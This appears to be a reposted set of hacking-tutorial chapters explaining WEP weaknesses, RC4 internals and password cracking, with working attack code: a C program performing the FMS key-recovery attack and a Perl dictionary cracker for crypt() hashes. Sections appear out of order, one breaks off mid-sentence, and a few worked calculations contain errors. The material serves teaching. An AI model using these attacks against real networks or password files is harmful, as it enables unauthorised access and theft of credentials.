Start Hacking 3.8 (WEP Attacks )

WEP Attacks

There are several problems with the security of WEP. In all fairness, it was never meant to be a strong cryptographic protocol, but rather a way to provide a wired equivalency, as alluded to by the acronym. Aside from security weaknesses relating to association and identities, there are several problems with the cryptographic protocol, itself. Some of these problems stem from the use of CRC32 as a checksum function for message integrity, and other problems stem from the way IVs are used.

Offline Brute-Force Attacks
Brute-forcing will always be a possible attack on any computationally secure cryptosystem. The only question that remains is whether it's a practical attack. With WEP, the actual method of offline brute-forcing is simple: Capture a few packets, then try to decrypt the packets using every possible key. Next, recalculate the checksum for the packet, and compare this with the original checksum. If they match, then that's most likely the key. Usually this needs to be done with at least two packets, since it's likely that a single packet can be decrypted with an invalid key, yet the checksum will still be valid.

However, under the assumption of 10,000 cracks per second, brute-forcing through the 40-bit keyspace would take over three years. Realistically, modern processors can achieve more than 10,000 cracks per second, but even at 200,000 cracks per second, this would take a few months. Depending on the resources and dedication of an attacker, this type of attack may or may not be feasible.

Tim Newsham has provided an effective cracking method that attacks weaknesses in the password-based key-generation algorithm that is used by most 40-bit (marketed as 64-bit) cards and access points. His method effectively reduces the 40-bit keyspace down to 21 bits, which can be cracked in a matter of minutes under the assumption of 10,000 cracks per second (and in a matter of seconds on a modern processor). More information on his methods can be found at http://www.lava.net/~newsham/wlan/.

For 104-bit (marketed as 128-bit) WEP networks, brute-forcing just isn't feasible.

Keystream Reuse
Another potential problem with WEP lies in keystream reuse. If two plaintexts (P) are XORed with the same keystream to produce two separate pairs of ciphertext (C), XORing those ciphertexts together will cancel out the keystream, resulting in the two plaintexts XORed with each other.



From here, if one of the plaintexts is known, the other one can easily be recovered. In addition, because the plaintexts in this case are Internet packets with a known and fairly predictable structure, various techniques can be employed to recover both original plaintexts.

The IV is intended to prevent these types of attacks; without it, every packet would be encrypted with the same keystream. If a different IV is used for each packet, the keystreams will also be different for each packet. However, if the same IV is reused, both packets will be encrypted with the same keystream. This is a condition that is easy to detect, because the IVs are included in plaintext in the encrypted packets. Moreover, the IVs used for WEP are only 24 bits in length, which nearly guarantees that IVs will be reused. Assuming that IVs are chosen at random, statistically there should be a case of keystream reuse after just 5,000 packets.

This number seems surprisingly small due to a counterintuitive probabilistic phenomenon known as the birthday paradox. It simply states that if 23 people are in the same room together, two of these people should share a birthday. With 23 people, there are , or 253, possible pairs. Each pair has a probability of success of 1/365 , or about 0.27 percent, which corresponds to a probability of failure of 1-(1/365) , or about 99.726 percent. By raising this probability to the power of 253, the overall probability of failure is shown to be about 49.95 percent, meaning that the probability of success is just a little over 50 percent.



This works the same way with IV collisions. With 5,000 packets, there are ,(5,000*4,999)/2 or 12,497,500, possible pairs. Each pair has a probability of failure of . When this is raised to the power of the number of possible pairs, it shows that the overall probability of failure is about 47.5 percent, meaning that there's about a 52.5 percent chance of an IV collision with 5,000 packets.



After an IV collision is discovered, some educated guesses about the structure of the plaintexts can be used to reveal the original plaintexts by XORing the two ciphertexts together. Also, if one of the plaintexts is known, the other plaintext can be recovered with a simple XORing. One method of obtaining known plaintexts might be through spam email: The attacker sends the spam, and the victim checks mail over the encrypted wireless connection.

IV-Based Decryption Dictionary Tables
After plaintexts are recovered for an intercepted message, the keystream for that IV will also be known. This means that the keystream can be used to decrypt any other packet that uses the same IV, providing it's not longer than the recovered keystream. Over time, it's possible to create a table of keystreams indexed by every possible IV. Because there are only 224 possible IVs, if 1,500 bytes of keystream are saved for each IV, the table would only require about 24 gigabytes of storage. Once a table like this is created, all subsequent encrypted packets can be easily decrypted.

Realistically, this method of attack would be very time-consuming and tedious. It's an interesting idea, but there are much easier ways to defeat WEP.

IP Redirection
Another way to decrypt encrypted packets is to simply trick the access point into doing all the work. Usually wireless access points have some form of Internet connectivity, and if this is the case, an IP redirection attack is possible. First an encrypted packet is captured, and the destination address is changed to an IP address the attacker controls without decrypting the packets. Then the modified packet is sent back to the wireless access point, which will decrypt the packet and send it right to the attacker's IP address.

The packet modification is made possible due to the CRC32 checksum being a linear unkeyed function. This means that the packet can be strategically modified so the checksum will still come out the same.

This attack also assumes that the source and destination IP addresses are known. This information is easy enough to figure out, just based on standard internal network IP addressing schemes. Also, a few cases of keystream reuse due to IV collisions can be used to determine the addresses.

Once the destination IP address is known, this value can be XORed with the desired IP address, and this whole thing can be XORed into place in the encrypted packet. The XORing of the destination IP address will cancel out, leaving behind the desired IP address XORed with the keystream. Then, to ensure that the checksum stays the same, the source IP address must be strategically modified.

For example, assume the source address is 192.168.2.57 and the destination address is 192.168.2.1. The attacker controls the address 123.45.67.89 and wants to redirect traffic there. These IP addresses exist in the packet in the binary form of high- and low-order 16-bit words. The conversion is fairly simple:

Src IP = 192.168.2.57
SH = 192 · 256 + 168 = 50344
SL = 2 · 256 + 57 = 569

Dst IP = 192.168.2.1
DH = 192 · 256 + 168 = 50344
DL = 2 · 256 + 1 = 513

New IP = 123.45.67.89
NH = 123 · 256 + 45 = 31533
NL = 67 · 256 + 89 = 17241

The checksum will be changed by NH + NL − DH − DL, so this value must be subtracted from somewhere else in the packet. Because the source address is also known and doesn't matter too much, the low-order 16-bit word of that IP address makes a good target:

S′L = SL – (NH + NL − DH − DL)
S′L = 569 – (31533 + 17241 – 50344 – 513)
S′L = 2652

The new source IP address should therefore be 192.168.10.92.

The source IP address can be modified in the encrypted packet using the same XORing trick, and then the checksums should match. When the packet is sent to the wireless access point, the packet will be decrypted and sent to 123.45.67.89, where the attacker can retrieve it.

If the attacker happens to have the ability to monitor packets on an entire class B network, the source address doesn't even need to be modified. Assuming the attacker had control over the entire 123.45.X.X IP range, the low order 16-bit word of the IP address could be strategically chosen to not disturb the checksum. If NL = DH + DL – NH, the checksum won't be changed. Here's an example:

NL = DH + DL – NH
NL = 50,344 + 513 – 31533
N′L = 82390

The new destination IP address should be 123.45.75.124.

Fluhrer, Mantin, and Shamir (FMS) Attack
The Fluhrer, Mantin, and Shamir (FMS) attack is the most commonly used attack against WEP, popularized by tools such as AirSnort. This attack is really quite amazing. It takes advantage of weaknesses in the key-scheduling algorithm of RC4 and the use of IVs.

There are weak IV values that leak information about the secret key in the first byte of thekeystream. Since the same key is used over and over with different IVs, if enough packets with weak IVs are collected, and the first byte of the keystream is known, the key can be determined. Luckily, the first byte of an 802.11b packet is the snap header, which is almost always 0xAA. This means the first byte of the keystream can be easily obtained by XORing the first encrypted byte with 0xAA.

Next, weak IVs need to be located. IVs for WEP are 24 bits, which translates to three bytes. Weak IVs are in the form of (A+3, N−1, X), where A is the byte of the key to be attacked, N is 256 (because RC4 works in modulo 256), and X can be any value. So, if the zeroth byte of the keystream is being attacked, there would be 256 weak IVs in the form of (3, 255, X) where X ranges from 0 to 255. The bytes of the keystream must be attacked in order, so the first byte cannot be attacked until the zeroth byte is known.

The algorithm, itself, is pretty simple. First it steps through A+3 steps of the key-scheduling algorithm (KSA). This can be done without knowing the key, because the IV will occupy the first three bytes of the K array. If the zeroth byte of the key is known, and A equals 1, the KSA can be worked to the fourth step, because the first four bytes of the K array will be known.

At this point, if S[0] or S[1] have been disturbed by the last step, the entire attempt should be discarded. More simply stated, if j is less than 2, the attempt should be discarded. Otherwise, take the value of j and the value of S[A + 3], and subtract both of these from the first keystream byte, modulo 256, of course. This value will be the correct key byte about 5 percent of the time and effectively random less than 95 percent of the time. If this is done with enough weak IVs (with varying values for X), the correct key byte can be determined. It takes about 60 IVs to bring the probability above 50 percent. After a key byte is determined, the whole process can be done again to determine the next key byte until the entire key is revealed.

For the sake of demonstration, RC4 will be scaled back so N equals 16 instead of 256. This means that everything is modulo 16 instead of 256, and all the arrays are 16 "bytes" consisting of 4 bits, instead of 256 actual bytes.

Assuming the key is (1, 2, 3, 4, 5), and the zeroth key byte will be attacked, A equals 0. This means the weak IVs should be in the form of (3, 15, X). In this example, X will equal 2, so the seed value will be (3, 15, 2, 1, 2, 3, 4, 5). Using this seed, the first byte of keystream output will be 9.

Output
=
9

A
=
0

IV
=
3, 15, 2

Key
=
1, 2, 3, 4, 5

Seed
=
IV concatenated with the key


K[] = 3 15 2 X X X X X 3 15 2 X X X X X
S[] = 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

Because the key is currently unknown, the K array is loaded up with what currently is known, and the S array is filled with sequential values from 0 to 15. Then j is initialized to 0, and the first three steps of the KSA are done. Remember that all math is done modulo 16.

KSA step one:

i = 0
j = j + S[i] + K[i]
j = 0 + 0 + 3 = 3
Swap S[i] and S[j]

K[] = 3 15 2 X X X X X 3 15 2 X X X X X
S[] = 3 1 2 0 4 5 6 7 8 9 10 11 12 13 14 15

KSA step two:

i = 1
j = j + S[i] + K[i]
j = 3 + 1 + 15 = 3
Swap S[i] and S[j]

K[] = 3 15 2 X X X X X 3 15 2 X X X X X
S[] = 3 0 2 1 4 5 6 7 8 9 10 11 12 13 14 15

KSA step three:

i = 2
j = j + S[i] + K[i]
j = 3 + 2 + 2 = 7
Swap S[i] and S[j]

K[] = 3 15 2 X X X X X 3 15 2 X X X X X
S[] = 3 0 7 1 4 5 6 2 8 9 10 11 12 13 14 15

At this point, j isn't less than 2, so the process can continue. S[3] is 1, j is 7, and the first byte of keystream output was 9. So the zeroth byte of the key should be 9 − 7 − 1 − 1.

This information can be used to determine the next byte of the key, using IVs in the form of (4, 15, X), and working the KSA through to the fourth step. Using the IV (4, 15, 9), the first byte of keystream is 6.

Output
=
6

A
=
0

IV
=
4, 15, 9

Key
=
1, 2, 3, 4, 5

Seed
=
IV concatenated with the key


K[] = 4 15 9 1 X X X X 4 15 9 1 X X X X
S[] = 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

KSA step one:

i = 0
j = j + S[i] + K[i]
j = 0 + 0 + 4 = 4
Swap S[i] and S[j]

K[] = 4 15 9 1 X X X X 4 15 9 1 X X X X
S[] = 4 1 2 3 0 5 6 7 8 9 10 11 12 13 14 15

KSA step two:

i = 1
j = j + S[i] + K[i]
j = 4 + 1 + 15 = 4
Swap S[i] and S[j]

K[] = 4 15 9 1 X X X X 4 15 9 1 X X X X
S[] = 4 0 2 3 1 5 6 7 8 9 10 11 12 13 14 15

KSA step three:

i = 2
j = j + S[i] + K[i]
j = 4 + 2 + 9 = 15
Swap S[i] and S[j]

K[] = 4 15 9 1 X X X X 4 15 9 1 X X X X
S[] = 4 0 15 3 1 5 6 7 8 9 10 11 12 13 14 2

KSA step four:

i = 3
j = j + S[i] + K[i]
j = 15+ 3 + 1 = 3
Swap S[i] and S[j]

K[] = 4 15 9 1 X X X X 4 15 9 1 X X X X
S[] = 4 0 15 3 1 5 6 7 8 9 10 11 12 13 14 2

Output - j - S[4]= key[1]
6 - 3 - 1 = 2

And once again, the correct key byte is determined. Of course, for the sake of demonstration, values for X have been strategically picked. To get a true sense of the statistical nature of the attack against a full RC4 implementation, the following source code has been included.


File:fms.c

#include

int RC4(int *IV, int *key)
{
int K[256];
int S[256];
int seed[16];
int i, j, k, t;

//seed = IV + key;
for(k=0; k<3; k++)
seed[k] = IV[k];
for(k=0; k<13; k++)
seed[k+3] = key[k];

// -= Key Scheduling Algorithm (KSA) =-
//Initilize the arrays
for(k=0; k<256; k++)
{
S[k] = k;
K[k] = seed[k%16];
}

j=0;
for(i=0; i < 256; i++)
{
j = (j + S[i] + K[i])%256;
t=S[i]; S[i]=S[j]; S[j]=t; // Swap(S[i], S[j]);
}

// First step of PRGA for first keystream byte

i = 0;
j = 0;

i = i + 1;
j = j + S[i];

t=S[i]; S[i]=S[j]; S[j]=t; // Swap(S[i], S[j]);

k = (S[i] + S[j])%256;

return S[k];

}
main(int argc, char *argv[])
{
int K[256];
int S[256];

int IV[3];
int key[13] = {1, 2, 3, 4, 5, 66, 75, 123, 99, 100, 123, 43, 213};
int seed[16];
int N = 256;
int i, j, k, t, x, A;
int keystream, keybyte;

int max_result, max_count;
int results[256];

int known_j, known_S;

if(argc < 2)
{
printf("Usage: %s \n", argv[0]);
exit(0);
}
A = atoi(argv[1]);
if((A > 12) || (A < 0))
{
printf("keybyte must be from 0 to 12.\n");
exit(0);
}

for(k=0; k < 256; k++)
results[k] = 0;

IV[0] = A + 3;
IV[1] = N - 1;

for(x=0; x < 256; x++)
{
IV[2] = x;

keystream = RC4(IV, key);
printf("Using IV: (%d, %d, %d), first keystream byte is %u\n",
IV[0], IV[1], IV[2], keystream);

printf("Doing the first %d steps of KSA.. ", A+3);

//seed = IV + key;
for(k=0; k<3; k++)
seed[k] = IV[k];
for(k=0; k<13; k++)
seed[k+3] = key[k];

// -= Key Scheduling Algorithm (KSA) =-
//Initialize the arrays
for(k=0; k<256; k++)
{
S[k] = k;
K[k] = seed[k%16];
}

j=0;
for(i=0; i < (A + 3); i++)
{
j = (j + S[i] + K[i])%256;
t = S[i];
S[i] = S[j];
S[j] = t;
}

if(j < 2) // If j < 2, then S[0] or S[1] have been disturbed
{
printf("S[0] or S[1] have been disturbed, discarding..\n");
}
else
{
known_j = j;
known_S = S[A+3];
printf("at KSA iteration #%d, j=%d and S[%d]=%d\n",
A+3, known_j, A+3, known_S);
keybyte = keystream - known_j - known_S;

while(keybyte < 0)
keybyte = keybyte + 256;
printf("key[%d] prediction = %d - %d - %d = %d\n",
A, keystream, known_j, known_S, keybyte);
results[keybyte] = results[keybyte] + 1;
}
}
max_result = -1;
max_count = 0;

for(k=0; k < 256; k++)
{
if(max_count < results[k])
{
max_count = results[k];
max_result = k;
}
}
printf("\nFrequency table for key[%d] (* = most frequent)\n", A);
for(k=0; k < 32; k++)
{
for(i=0; i < 8; i++)
{
t = k+i*32;
if(max_result == t)
printf("%3d %2d*| ", t, results[t]);
else
printf("%3d %2d | ", t, results[t]);
}
printf("\n");
}

printf("\n[Actual Key] = (");
for(k=0; k < 12; k++)
printf("%d, ",key[k]);
printf("%d)\n", key[12]);

printf("key[%d] is probably %d\n", A, max_result);
}

This code performs the FMS attack on 128-bit WEP (104-bit key, 24-bit IV), using every possible value of X. The key byte to attack is the only argument, and the key is hard-coded into the key array. The following output shows the compilation and execution of the fms.c code to crack an RC4 key.

$ gcc -o fms fms.c
$ ./fms
Usage: ./fms
$ ./fms 0
Using IV: (3, 255, 0), first keystream byte is 7
Doing the first 3 steps of KSA.. at KSA iteration #3, j=5 and S[3]=1
key[0] prediction = 7 - 5 - 1 = 1
Using IV: (3, 255, 1), first keystream byte is 211
Doing the first 3 steps of KSA.. at KSA iteration #3, j=6 and S[3]=1
key[0] prediction = 211 - 6 - 1 = 204
Using IV: (3, 255, 2), first keystream byte is 241
Doing the first 3 steps of KSA.. at KSA iteration #3, j=7 and S[3]=1
key[0] prediction = 241 - 7 - 1 = 233

[ output trimmed ]

Using IV: (3, 255, 252), first keystream byte is 175
Doing the first 3 steps of KSA.. S[0] or S[1] have been disturbed, discarding..
Using IV: (3, 255, 253), first keystream byte is 149
Doing the first 3 steps of KSA.. at KSA iteration #3, j=2 and S[3]=1
key[0] prediction = 149 - 2 - 1 = 146
Using IV: (3, 255, 254), first keystream byte is 253
Doing the first 3 steps of KSA.. at KSA iteration #3, j=3 and S[3]=2
key[0] prediction = 253 - 3 - 2 = 248
Using IV: (3, 255, 255), first keystream byte is 72
Doing the first 3 steps of KSA.. at KSA iteration #3, j=4 and S[3]=1
key[0] prediction = 72 - 4 - 1 = 67

Frequency table for key[0] (* = most frequent)
0 1 | 32 3 | 64 0 | 96 1 | 128 2 | 160 0 | 192 1 | 224 3 |
1 10*| 33 0 | 65 1 | 97 0 | 129 1 | 161 1 | 193 1 | 225 0 |
2 0 | 34 1 | 66 0 | 98 1 | 130 1 | 162 1 | 194 1 | 226 1 |
3 1 | 35 0 | 67 2 | 99 1 | 131 1 | 163 0 | 195 0 | 227 1 |
4 0 | 36 0 | 68 0 | 100 1 | 132 0 | 164 0 | 196 2 | 228 0 |
5 0 | 37 1 | 69 0 | 101 1 | 133 0 | 165 2 | 197 2 | 229 1 |
6 0 | 38 0 | 70 1 | 102 3 | 134 2 | 166 1 | 198 1 | 230 2 |
7 0 | 39 0 | 71 2 | 103 0 | 135 5 | 167 3 | 199 2 | 231 0 |
8 3 | 40 0 | 72 1 | 104 0 | 136 1 | 168 0 | 200 1 | 232 1 |
9 1 | 41 0 | 73 0 | 105 0 | 137 2 | 169 1 | 201 3 | 233 2 |
10 1 | 42 3 | 74 1 | 106 2 | 138 0 | 170 1 | 202 3 | 234 0 |
11 1 | 43 2 | 75 1 | 107 2 | 139 1 | 171 1 | 203 0 | 235 0 |
12 0 | 44 1 | 76 0 | 108 0 | 140 2 | 172 1 | 204 1 | 236 1 |
13 2 | 45 2 | 77 0 | 109 0 | 141 0 | 173 2 | 205 1 | 237 0 |
14 0 | 46 0 | 78 2 | 110 2 | 142 2 | 174 1 | 206 0 | 238 1 |
15 0 | 47 3 | 79 1 | 111 2 | 143 1 | 175 0 | 207 1 | 239 1 |
16 1 | 48 1 | 80 1 | 112 0 | 144 2 | 176 0 | 208 0 | 240 0 |
17 0 | 49 0 | 81 1 | 113 1 | 145 1 | 177 1 | 209 0 | 241 1 |
18 1 | 50 0 | 82 0 | 114 0 | 146 4 | 178 1 | 210 1 | 242 0 |
19 2 | 51 0 | 83 0 | 115 0 | 147 1 | 179 0 | 211 1 | 243 0 |
20 3 | 52 0 | 84 3 | 116 1 | 148 2 | 180 2 | 212 2 | 244 3 |
21 0 | 53 0 | 85 1 | 117 2 | 149 2 | 181 1 | 213 0 | 245 1 |
22 0 | 54 3 | 86 3 | 118 0 | 150 2 | 182 2 | 214 0 | 246 3 |
23 2 | 55 0 | 87 0 | 119 2 | 151 2 | 183 1 | 215 1 | 247 2 |
24 1 | 56 2 | 88 3 | 120 1 | 152 2 | 184 1 | 216 0 | 248 2 |
25 2 | 57 2 | 89 0 | 121 1 | 153 2 | 185 0 | 217 1 | 249 3 |
26 0 | 58 0 | 90 0 | 122 0 | 154 1 | 186 1 | 218 0 | 250 1 |
27 0 | 59 2 | 91 1 | 123 3 | 155 2 | 187 1 | 219 1 | 251 1 |
28 2 | 60 1 | 92 1 | 124 0 | 156 0 | 188 0 | 220 0 | 252 3 |
29 1 | 61 1 | 93 1 | 125 0 | 157 0 | 189 0 | 221 0 | 253 1 |
30 0 | 62 1 | 94 0 | 126 1 | 158 1 | 190 0 | 222 1 | 254 0 |
31 0 | 63 0 | 95 1 | 127 0 | 159 0 | 191 0 | 223 0 | 255 0 |

[Actual Key] = (1, 2, 3, 4, 5, 66, 75, 123, 99, 100, 123, 43, 213)
key[0] is probably 1
$
$ ./fms 12
Using IV: (15, 255, 0), first keystream byte is 81
Doing the first 15 steps of KSA.. at KSA iteration #15, j=251 and S[15]=1
key[12] prediction = 81 - 251 - 1 = 85
Using IV: (15, 255, 1), first keystream byte is 80
Doing the first 15 steps of KSA.. at KSA iteration #15, j=252 and S[15]=1
key[12] prediction = 80 - 252 - 1 = 83
Using IV: (15, 255, 2), first keystream byte is 159
Doing the first 15 steps of KSA.. at KSA iteration #15, j=253 and S[15]=1
key[12] prediction = 159 - 253 - 1 = 161

[ output trimmed ]

Using IV: (15, 255, 252), first keystream byte is 238
Doing the first 15 steps of KSA.. at KSA iteration #15, j=236 and S[15]=1
key[12] prediction = 238 - 236 - 1 = 1
Using IV: (15, 255, 253), first keystream byte is 197
Doing the first 15 steps of KSA.. at KSA iteration #15, j=236 and S[15]=1
key[12] prediction = 197 - 236 - 1 = 216
Using IV: (15, 255, 254), first keystream byte is 238
Doing the first 15 steps of KSA.. at KSA iteration #15, j=249 and S[15]=2
key[12] prediction = 238 - 249 - 2 = 243
Using IV: (15, 255, 255), first keystream byte is 176
Doing the first 15 steps of KSA.. at KSA iteration #15, j=250 and S[15]=1
key[12] prediction = 176 - 250 - 1 = 181

Frequency table for key[12] (* = most frequent)
0 1 | 32 0 | 64 2 | 96 0 | 128 1 | 160 1 | 192 0 | 224 2 |
1 2 | 33 1 | 65 0 | 97 2 | 129 1 | 161 1 | 193 0 | 225 0 |
2 0 | 34 2 | 66 2 | 98 0 | 130 2 | 162 3 | 194 2 | 226 0 |
3 2 | 35 0 | 67 2 | 99 2 | 131 0 | 163 1 | 195 0 | 227 5 |
4 0 | 36 0 | 68 0 | 100 1 | 132 0 | 164 0 | 196 1 | 228 1 |
5 3 | 37 0 | 69 3 | 101 2 | 133 0 | 165 2 | 197 0 | 229 3 |
6 1 | 38 2 | 70 2 | 102 0 | 134 0 | 166 2 | 198 0 | 230 2 |
7 2 | 39 0 | 71 1 | 103 0 | 135 0 | 167 3 | 199 1 | 231 1 |
8 1 | 40 0 | 72 0 | 104 1 | 136 1 | 168 2 | 200 0 | 232 0 |
9 0 | 41 1 | 73 0 | 105 0 | 137 1 | 169 1 | 201 1 | 233 1 |
10 2 | 42 2 | 74 0 | 106 4 | 138 2 | 170 0 | 202 1 | 234 0 |
11 3 | 43 1 | 75 0 | 107 1 | 139 3 | 171 2 | 203 1 | 235 0 |
12 2 | 44 0 | 76 0 | 108 2 | 140 2 | 172 0 | 204 0 | 236 1 |
13 0 | 45 0 | 77 0 | 109 1 | 141 1 | 173 0 | 205 2 | 237 4 |
14 1 | 46 1 | 78 1 | 110 0 | 142 3 | 174 1 | 206 0 | 238 1 |
15 1 | 47 2 | 79 1 | 111 0 | 143 0 | 175 1 | 207 2 | 239 0 |
16 2 | 48 0 | 80 1 | 112 1 | 144 3 | 176 0 | 208 0 | 240 0 |
17 1 | 49 0 | 81 0 | 113 1 | 145 1 | 177 0 | 209 0 | 241 0 |
18 0 | 50 2 | 82 0 | 114 1 | 146 0 | 178 0 | 210 1 | 242 0 |
19 0 | 51 0 | 83 4 | 115 1 | 147 0 | 179 1 | 211 4 | 243 2 |
20 0 | 52 1 | 84 1 | 116 4 | 148 0 | 180 1 | 212 1 | 244 1 |
21 0 | 53 1 | 85 1 | 117 0 | 149 2 | 181 1 | 213 12*| 245 1 |
22 1 | 54 3 | 86 0 | 118 0 | 150 1 | 182 2 | 214 3 | 246 1 |
23 0 | 55 3 | 87 0 | 119 1 | 151 0 | 183 0 | 215 0 | 247 0 |
24 0 | 56 1 | 88 0 | 120 0 | 152 2 | 184 0 | 216 2 | 248 0 |
25 1 | 57 0 | 89 0 | 121 2 | 153 0 | 185 2 | 217 1 | 249 0 |
26 1 | 58 0 | 90 1 | 122 0 | 154 1 | 186 0 | 218 1 | 250 2 |
27 2 | 59 1 | 91 1 | 123 0 | 155 1 | 187 1 | 219 0 | 251 2 |
28 2 | 60 2 | 92 1 | 124 1 | 156 1 | 188 1 | 220 0 | 252 0 |
29 1 | 61 1 | 93 3 | 125 2 | 157 2 | 189 2 | 221 0 | 253 1 |
30 0 | 62 1 | 94 0 | 126 0 | 158 1 | 190 1 | 222 1 | 254 2 |
31 0 | 63 0 | 95 1 | 127 0 | 159 0 | 191 0 | 223 2 | 255 0 |

[Actual Key] = (1, 2, 3, 4, 5, 66, 75, 123, 99, 100, 123, 43, 213)
key[12] is probably 213
$

This type of attack has been so successful that some vendors have begun producing hardware that will avoid ever using weak IVs. A solution like this will only work if all of the wireless hardware in the network is using the same modified firmware.

Start Hacking 3.7 (Wireless 802.11b Encryption )

Wireless 802.11b Encryption


Wireless 802.11b security has been a big issue, primarily due to the absence of it. Weaknesses in Wired Equivalent Privacy (WEP), the encryption method used for wireless, contribute greatly to the overall insecurity. There are a number of other details that are sometimes ignored during wireless deployments, which can also lead to major vulnerabilities.

The fact that wireless networks exist on layer 2 is one of these details. If the wireless network isn't VLANed off or firewalled, an attacker associated to the wireless access point could redirect all the wired network traffic out over the wireless via ARP redirection. This, coupled with the tendency to hook wireless access points to internal private networks can lead to some serious vulnerabilities.



Of course, if WEP is turned on, only clients with the proper WEP key will be allowed to associate to the access point. If WEP is secure, there shouldn't be a concern about rogue attackers associating and causing havoc, which inspires the question, "How secure is WEP?"

0x471 Wired Equivalent Privacy (WEP)
WEP was meant to be an encryption method to provide security equivalent to a wired access point. WEP was originally designed with 40-bit keys, and later WEP2 came along to increase the key size to 104 bits. All of the encryption is done on a per-packet basis, so each packet is essentially a separate plaintext message to send. The packet will be called M.

First a checksum of message M is computed so the message integrity can be checked later. This is done using a 32-bit cyclic redundancy checksum function aptly named CRC32. This checksum will be called CS, so CS = CRC32(M). This value is appended to the end of the message, which makes up the plaintext message P.




Now the plaintext message needs to be encrypted. This is done using RC4, which is a stream cipher. This cipher is initialized with a seed value, and then it can generate a keystream, which is just an arbitrarily long stream of pseudo-random bytes. WEP uses an initialization vector (IV) for the seed value. The IV consists of 24 bytes of varied bits that is generated for each packet. Some older WEP implementations simply use sequential values for the IV, while others use some form of pseudo-randomizer.

Regardless of how the 24 bits of IV are chosen, they are prepended to the WEP key. The 24 bits of IV are included in the WEP key size in a bit of clever marketing spin. (When a vendor talks about 64-bit or 128-bit WEP keys, the actual keys are only 40 bits and 104 bits, respectively, with 24 bits of IV.) The IV and the WEP key together make up the seed value, which will be called S.




Then the seed value S is fed into RC4, which will generate a keystream. This keystream is XORed with the plaintext message P, to produce the ciphertext C. The IV is prepended to the ciphertext, and the whole thing is encapsulated with yet another header and sent out over the radio link.



When the recipient receives a WEP-encrypted packet, the process is simply reversed. The recipient pulls the IV from the message and then concatenates the IV with his own WEP key to produce a seed value of S. If the sender and receiver both have the same WEP key, the seed values will be the same. This seed is fed into RC4 again to produce the same keystream, which is XORed with the rest of the encrypted message. This will produce the original plaintext message, which consisted of the packet message M concatenated with the integrity checksum CS. The recipient then uses the same CRC32 function to recalculate the checksum for M and checks to make sure the calculated value matches the received value of CS. If the checksums match, the packet is passed on. Otherwise there were too many transmission errors or the WEP keys didn't match, and the packet is dropped.

That's basically WEP in a nutshell.

RC4 Stream Cipher
RC4 is a surprisingly simple algorithm. It works using two algorithms: the Key Scheduling Algorithm (KSA) and the Pseudo Random Generation Algorithm (PRGA). Both of these algorithms use an 8-by-8 S-box, which is just an array of 256 numbers that are both unique and range in value from 0 to 255. Stated more simply, all the numbers from 0 to 255 exist in the array, but they're all just mixed up in different ways. The KSA does the initial scrambling of the S-box, based on the seed value fed into it, and the seed can be up to 256 bits long.

First, the S-box array is filled with sequential values from 0 to 255. This array will be aptly named S. Then another 256-byte array is filled with the seed value, repeating as necessary until the entire array is filled. This array will be named K. Then the S array is scrambled using the following pseudo-code:

j = 0;
for i = 0 to 255
{
j = (j + S[i] + K[i]) mod 256;
swap S[i] and S[j];
}

Once that is done, the S-box is all mixed up based on the seed value. That's the Key Scheduling Algorithm. Pretty simple.

Now when keystream data is needed, the Pseudo Random Generation Algorithm (PRGA) is used. This algorithm has two counters, i and j, which are both initialized at 0 to begin with. After that, for each byte of keystream data, the following pseudo-code is used:

i = (i + 1) mod 256;
j = (j + S[i]) mod 256;
swap S[i] and S[j];
t = (S[i] + S[j]) mod 256;
Output the value of S[t];

The outputted byte of S[t] is the first byte of the keystream. This algorithm is repeated for additional keystream bytes.

RC4 is simple enough that it can be easily memorized and implemented on the fly, and it is quite secure if used properly. However, there are a few problems with the way RC4 is

Start Hacking 3.6 (Password Cracking )

Password Cracking

Passwords aren't generally stored in plaintext form. A file containing all the passwords in plaintext form would be far too attractive a target, so instead a one- way hash function is used. The most well known of these functions is based on DES and is called crypt(). Other popular password-hashing algorithms are MD5 and Blowfish.

A one-way hash function expects a plaintext password and a salt value for input and then outputs a hash with the inputted salt value prepended to it. This hash is mathematically irreversible, meaning that it is impossible to determine the original password using only the hash. Perl has a crypt() function built in, making it a useful demonstration tool.


File: hash.pl

#!/usr/bin/perl
$plaintext = "test"; $salt = "je";
$hash = crypt($plaintext, $salt);
print "crypt($plaintext, $salt) = $hash\n";

The following output uses the preceding Perl script and then just uses command- line execution to hash values with the crypt() function, using various salt values.

$ ./hash.pl
crypt(test, je) = jeHEAX1m66RV.
$ perl -e '$hash = crypt("test", "je"); print "$hash\n";'
jeHEAX1m66RV.
$ perl -e '$hash = crypt("test", "xy"); print "$hash\n";'
xyVSuHLjceD92
$

The salt value is used to perturb the algorithm further, so there can be multiple hash values for the same plaintext value if different salt values are used. The hash value (including the prepended salt) is stored in the password file under the premise that if an attacker were to steal the password file, the hashes would be useless.

When a legitimate user actually needs to authenticate using the password hash, that user's hash is looked up in the password file. The user is prompted to enter her password, the original salt value is extracted from the password file, and whatever the user types is sent through the same one-way hash function with the salt value. If the text entered at the password prompt is the correct password, the one-way hashing function will produce the same hash output as is stored in the password file. This allows authentication to function as expected, while never having to store the plaintext password.

Dictionary Attacks
It turns out, however, that the encrypted passwords in the password file aren't so useless after all. Sure it's mathematically impossible to reverse the hash, but it is possible to just quickly try hashing every word in the dictionary, using the salt value for a specific hash, and then compare the results with that hash. If the hashes match, then that word from the dictionary must be the plaintext password.

A simple dictionary-attack program can be whipped up in Perl with relative ease. The following Perl script simply reads words from standard input and tries to hash them all with the proper salt. If there is a match, the matching word is displayed and the script exits.

File: crack.pl

#!/usr/bin/perl
# Get the hash to crack from the first command-line argument
$hash = shift;
$salt = substr($hash,0,2); # The salt is the first 2 chars

print "Cracking the hash '$hash' using words from standard input..\n";
while(defined($in = )) # Read from standard input
{
chomp $in; # Remove the hard return
if(crypt($in, $salt) eq $hash) # If the hashes match...
{
print "Password is: $in\n"; # Print the password
exit; # and exit.
}
}
print "The password wasn't found in the words from standard input.\n";

The following output shows this Perl script being executed.

$ perl -e '$hash = crypt("test", "je"); print "$hash\n";'
jeHEAX1m66RV.
$ cat /usr/share/dict/words | crack.pl jeHEAX1m66RV.
Cracking the hash 'jeHEAX1m66RV.' using words from standard input..
Password is: test
$ grep "^test$" /usr/share/dict/words
test
$

In this example, the many words provided by /usr/share/dict/words are piped into the cracking script. Because the word "test" was the original password, and it is also found in the words file, the password hash will eventually be cracked. This is why it's considered poor security practice to use passwords that are also dictionary words or that are based on dictionary words.

